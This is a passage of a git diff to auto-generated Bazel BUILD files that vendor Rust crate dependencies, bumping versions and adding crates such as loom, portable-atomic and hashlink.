cfg(unix) + ], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-darwin": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-apple-ios": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-linux-android": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [ + "@vendor_ts__windows-0.58.0//:windows", # cfg(windows) + ], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.169//:libc", # cfg(unix) + ], + "//conditions:default": [], + }), +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2021", + pkg_name = "generator", + proc_macro_deps = [ + "@vendor_ts__rustversion-1.0.20//:rustversion", + ], + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=generator", + "manual", + "noclippy", + "norustfmt", + ], + version = "0.8.4", + visibility = ["//visibility:private"], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel index 51e970a88a2..4b6e47dfa32 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel @@ -30,6 +30,7 @@ rust_library( ), crate_features = [ "inline-more", + "raw", ], crate_root = "src/lib.rs", edition = "2021", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel index da91d620d24..d7d08e46be6 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel @@ -28,6 +28,14 @@ rust_library( "WORKSPACE.bazel", ], ), + crate_features = [ + "allocator-api2", + "default", + "default-hasher", + "equivalent", + "inline-more", + "raw-entry", + ], crate_root = "src/lib.rs", edition = "2021", rustc_flags = [ @@ -80,4 +88,9 @@ rust_library( "//conditions:default": ["@platforms//:incompatible"], }), version = "0.15.2", + deps = [ + "@vendor_ts__allocator-api2-0.2.21//:allocator_api2", + "@vendor_ts__equivalent-1.0.1//:equivalent", + "@vendor_ts__foldhash-0.1.5//:foldhash", + ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel index bb05dcce52e..291406fff11 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.always-assert-0.2.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel @@ -11,7 +11,7 @@ load("@rules_rust//rust:defs.bzl", "rust_library") package(default_visibility = ["//visibility:public"]) rust_library( - name = "always_assert", + name = "hashlink", srcs = glob( include = ["**/*.rs"], allow_empty = True, @@ -28,9 +28,6 @@ rust_library( "WORKSPACE.bazel", ], ), - crate_features = [ - "tracing", - ], crate_root = "src/lib.rs", edition = "2018", rustc_flags = [ @@ -38,7 +35,7 @@ rust_library( ], tags = [ "cargo-bazel", - "crate-name=always-assert", + "crate-name=hashlink", "manual", "noclippy", "norustfmt", @@ -82,8 +79,8 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.2.0", + version = "0.10.0", deps = [ - "@vendor_ts__tracing-0.1.41//:tracing", + "@vendor_ts__hashbrown-0.15.2//:hashbrown", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel index de2ed0d5327..53eacc89ea6 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel @@ -30,6 +30,7 @@ rust_library( ), crate_features = [ "default", + "serde", "std", ], crate_root = "src/lib.rs", @@ -87,5 +88,6 @@ rust_library( deps = [ "@vendor_ts__equivalent-1.0.1//:equivalent", "@vendor_ts__hashbrown-0.15.2//:hashbrown", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel index e9f3a3532d3..b31c648e60a 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel @@ -86,6 +86,6 @@ rust_library( }), version = "0.12.1", deps = [ - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel index 020cdf4b9da..5449caa6efb 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel @@ -86,6 +86,6 @@ rust_library( }), version = "0.14.0", deps = [ - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel new file mode 100644 index 00000000000..01796e7b3a5 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.loom-0.7.2.bazel @@ -0,0 +1,90 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "loom", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=loom", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "0.7.2", + deps = [ + "@vendor_ts__cfg-if-1.0.0//:cfg_if", + "@vendor_ts__generator-0.8.4//:generator", + "@vendor_ts__scoped-tls-1.0.1//:scoped_tls", + "@vendor_ts__tracing-0.1.41//:tracing", + "@vendor_ts__tracing-subscriber-0.3.19//:tracing_subscriber", + ], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel index d21d1c5497c..cc4f5c0bcba 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.mustache-0.9.0.bazel @@ -82,6 +82,6 @@ rust_library( version = "0.9.0", deps = [ "@vendor_ts__log-0.3.9//:log", - "@vendor_ts__serde-1.0.218//:serde", + "@vendor_ts__serde-1.0.219//:serde", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel index 4ba44587033..d4a945c39ea 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.pear_codegen-0.2.9.bazel @@ -81,9 +81,9 @@ rust_proc_macro( }), version = "0.2.9", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", "@vendor_ts__proc-macro2-diagnostics-0.10.1//:proc_macro2_diagnostics", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel new file mode 100644 index 00000000000..e246d3aa71d --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.portable-atomic-1.11.0.bazel @@ -0,0 +1,150 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//cargo:defs.bzl", "cargo_build_script") +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "portable_atomic", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "default", + "fallback", + ], + crate_root = "src/lib.rs", + edition = "2018", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=portable-atomic", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:x86_64-unknown-none": [], + "@rules_rust//rust/platform:x86_64-unknown-uefi": [], + "//conditions:default": ["@platforms//:incompatible"], + }), + version = "1.11.0", + deps = [ + "@vendor_ts__portable-atomic-1.11.0//:build_script_build", + ], +) + +cargo_build_script( + name = "_bs", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + "**/*.rs", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_features = [ + "default", + "fallback", + ], + crate_name = "build_script_build", + crate_root = "build.rs", + data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + edition = "2018", + pkg_name = "portable-atomic", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=portable-atomic", + "manual", + "noclippy", + "norustfmt", + ], + version = "1.11.0", + visibility = ["//visibility:private"], +) + +alias( + name = "build_script_build", + actual = ":_bs", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel index bcc9b7fe36a..c78fa364e8e 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.93.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-1.0.94.bazel @@ -84,9 +84,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.93", + version = "1.0.94", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:build_script_build", + "@vendor_ts__proc-macro2-1.0.94//:build_script_build", "@vendor_ts__unicode-ident-1.0.16//:unicode_ident", ], ) @@ -140,7 +140,7 @@ cargo_build_script( "noclippy", "norustfmt", ], - version = "1.0.93", + version = "1.0.94", visibility = ["//visibility:private"], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel index 6e74bb3b879..3b05cf97041 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.proc-macro2-diagnostics-0.10.1.bazel @@ -87,10 +87,10 @@ rust_library( }), version = "0.10.1", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", "@vendor_ts__proc-macro2-diagnostics-0.10.1//:build_script_build", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", "@vendor_ts__yansi-1.0.1//:yansi", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel similarity index 97% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel index 1f85e8a0431..927021d3331 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.38.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.quote-1.0.40.bazel @@ -83,8 +83,8 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "1.0.38", + version = "1.0.40", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel similarity index 91% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel index 742b9bee04b..f1bf54464e6 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_abi-0.100.0.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra-ap-rustc_hashes-0.97.0//:ra_ap_rustc_hashes": "rustc_hashes", - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index": "rustc_index", + "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes": "rustc_hashes", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index", }, compile_data = glob( include = ["**"], @@ -83,11 +83,11 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ "@vendor_ts__bitflags-2.8.0//:bitflags", - "@vendor_ts__ra-ap-rustc_hashes-0.97.0//:ra_ap_rustc_hashes", - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index", + "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index", "@vendor_ts__tracing-0.1.41//:tracing", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel similarity index 99% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel index f44bed7781d..6be975644de 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_hashes-0.100.0.bazel @@ -79,7 +79,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ "@vendor_ts__rustc-stable-hash-0.1.1//:rustc_stable_hash", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel similarity index 94% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel index 20f80a3542a..65efb7c784e 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index-0.100.0.bazel @@ -17,7 +17,7 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra-ap-rustc_index_macros-0.97.0//:ra_ap_rustc_index_macros": "rustc_index_macros", + "@vendor_ts__ra-ap-rustc_index_macros-0.100.0//:ra_ap_rustc_index_macros": "rustc_index_macros", }, compile_data = glob( include = ["**"], @@ -34,7 +34,7 @@ rust_library( crate_root = "src/lib.rs", edition = "2024", proc_macro_deps = [ - "@vendor_ts__ra-ap-rustc_index_macros-0.97.0//:ra_ap_rustc_index_macros", + "@vendor_ts__ra-ap-rustc_index_macros-0.100.0//:ra_ap_rustc_index_macros", ], rustc_flags = [ "--cap-lints=allow", @@ -85,7 +85,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ "@vendor_ts__smallvec-1.14.0//:smallvec", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel index eca0772470c..63d0286a338 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_index_macros-0.100.0.bazel @@ -79,10 +79,10 @@ rust_proc_macro( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ - "@vendor_ts__proc-macro2-1.0.93//:proc_macro2", - "@vendor_ts__quote-1.0.38//:quote", - "@vendor_ts__syn-2.0.98//:syn", + "@vendor_ts__proc-macro2-1.0.94//:proc_macro2", + "@vendor_ts__quote-1.0.40//:quote", + "@vendor_ts__syn-2.0.100//:syn", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel similarity index 99% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel index 58c662ab8d3..7c98b84f7fb 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_lexer-0.100.0.bazel @@ -79,7 +79,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ "@vendor_ts__memchr-2.7.4//:memchr", "@vendor_ts__unicode-properties-0.1.3//:unicode_properties", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel similarity index 91% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.97.0.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel index 38ac1f7eab5..0cf50f5a2b8 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_parse_format-0.100.0.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index": "rustc_index", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer": "rustc_lexer", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer": "rustc_lexer", }, compile_data = glob( include = ["**"], @@ -83,9 +83,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.97.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel similarity index 95% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.97.0.bazel rename to 